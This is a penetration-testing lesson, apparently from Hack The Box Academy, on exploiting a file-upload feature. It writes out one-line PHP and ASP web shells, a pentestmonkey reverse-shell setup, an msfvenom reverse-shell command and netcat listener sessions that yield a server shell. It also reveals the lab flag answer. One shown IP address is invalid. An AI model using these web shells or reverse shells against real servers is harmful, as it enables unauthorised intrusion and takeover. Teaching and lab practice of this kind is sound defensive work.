Upload Exploitation

The final step in exploiting this web application is to upload the malicious script in the same language as the web application, like a web shell or a reverse shell script. Once we upload our malicious script and visit its link, we should be able to interact with it to take control over the back-end server.

Web Shells

We can find many excellent web shells online that provide useful features, like directory traversal or file transfer. One good option for PHP is phpbash, which provides a terminal-like, semi-interactive web shell. Furthermore, SecLists provides a plethora of web shells for different frameworks and languages, which can find in the `/opt/useful/SecLists/Web-Shells` directory in PwnBox.

We can download any of these web shells for the language of our web application (PHP in our case), then upload it through the vulnerable upload feature, and visit the uploaded file to interact with the web shell. For example, let's try to upload `phpbash.php` from phpbash to our web application, and then navigate to its link by clicking on the Download button:

As we can see, this web shell provides a terminal-like experience, which makes it very easy to enumerate the back-end server for further exploitation. Try a few other web shells from SecLists, and see which ones best meet your needs.

Writing Custom Web Shell

Although using web shells from online resources can provide a great experience, we should also know how to write a simple web shell manually. This is because we may not have access to online tools during some penetration tests, so we need to be able to create one when needed.

For example, with PHP web applications, we can use the `system()` function that executes system commands and prints their output, and pass it the `cmd` parameter with `$_REQUEST['cmd']`, as follows:

Code: php

```
<?php system($_REQUEST['cmd']); ?>
```

If we write the above script to `shell.php` and upload it to our web application, we can execute system commands with the `?cmd=` GET parameter (e.g. `?cmd=id`), as follows:

This may not be as easy to use as other web shells we can find online, but it still provides an interactive method for sending commands and retrieving their output. It could be the only available option during some web penetration tests.

Tip: If we are using this custom web shell in a browser, it may be best to use source-view by clicking `[CTRL+U]`, as the source-view shows the command output as it would be shown in the terminal, without any HTML rendering that may affect how the output is formatted.

Web shells are not exclusive to PHP, and the same applies to other web frameworks, with the only difference being the functions used to execute system commands. For `.NET` web applications, we can pass the `cmd` parameter with `request('cmd')` to the `eval()` function, and it should also execute the command specified in `?cmd=` and print its output, as follows:

Code: asp

```
<% eval request('cmd') %>
```

We can find various other web shells online, many of which can be easily memorized for web penetration testing purposes. It must be noted that `in certain cases, web shells may not work`. This may be due to the web server preventing the use of some functions utilized by the web shell (e.g. `system()`), or due to a Web Application Firewall, among other reasons. In these cases, we may need to use advanced techniques to bypass these security mitigations, but this is outside the scope of this module.

Reverse Shell

Finally, let's see how we can receive reverse shells through the vulnerable upload functionality. To do so, we should start by downloading a reverse shell script in the language of the web application. One reliable reverse shell for PHP is the pentestmonkey PHP reverse shell. Furthermore, the same SecLists we mentioned earlier also contains reverse shell scripts for various languages and web frameworks, and we can utilize any of them to receive a reverse shell as well.

Let's download one of the above reverse shell scripts, like the pentestmonkey, and then open it in a text editor to input our `IP` and listening `PORT`, which the script will connect to. For the `pentestmonkey` script, we can modify lines `49` and `50` and input our machine's IP/PORT:

Code: php

```
$ip = 'OUR_IP';     // CHANGE THIS
$port = OUR_PORT;   // CHANGE THIS
```

Next, we can start a `netcat` listener on our machine (with the above port), upload our script to the web application, and then visit its link to execute the script and get a reverse shell connection:

```
Govardhan Gujji22@htb[/htb]$ nc -lvnp OUR_PORT
listening on [any] OUR_PORT ...
connect to [OUR_IP] from (UNKNOWN) [188.166.173.208] 35232
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

As we can see, we successfully received a connection back from the back-end server that hosts the vulnerable web application, which allows us to interact with it for further exploitation. The same concept can be used for other web frameworks and languages, with the only difference being the reverse shell script we use.

Generating Custom Reverse Shell Scripts

Just like web shells, we can also create our own reverse shell scripts. While it is possible to use the same previous `system` function and pass it a reverse shell command, this may not always be very reliable, as the command may fail for many reasons, just like any other reverse shell command.

This is why it is always better to use core web framework functions to connect to our machine. However, this may not be as easy to memorize as a web shell script. Luckily, tools like `msfvenom` can generate a reverse shell script in many languages and may even attempt to bypass certain restrictions in place. We can do so as follows for PHP:

```
Govardhan Gujji22@htb[/htb]$ msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw >
...SNIP...
Payload size: 3033 bytes
```

Once our `reverse.php` script is generated, we can once again start a `netcat` listener on the port we specified above, upload the `reverse.php` script and visit its link, and we should receive a reverse shell as well:

```
Govardhan Gujji22@htb[/htb]$ nc -lvnp OUR_PORT
listening on [any] OUR_PORT ...
connect to [OUR_IP] from (UNKNOWN) [181.151.182.286] 56232
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Similarly, we can generate reverse shell scripts for several languages. We can use many reverse shell payloads with the `-p` flag and specify the output language with the `-f` flag.

While reverse shells are always preferred over web shells, as they provide the most interactive method for controlling the compromised server, they may not always work, and we may have to rely on web shells instead. This can be for several reasons, like having a firewall on the back-end network that prevents outgoing connections or if the web server disables the necessary functions to initiate a connection back to us.

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Target: Click here to spawn the target system!

+ 1 Try to exploit the upload feature to upload a web shell and get the content of /flag.txt

HTB{g07_my_f1r57_w3b_5h3ll}

Submit

← Previous | Next →

Mark Complete & Next

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left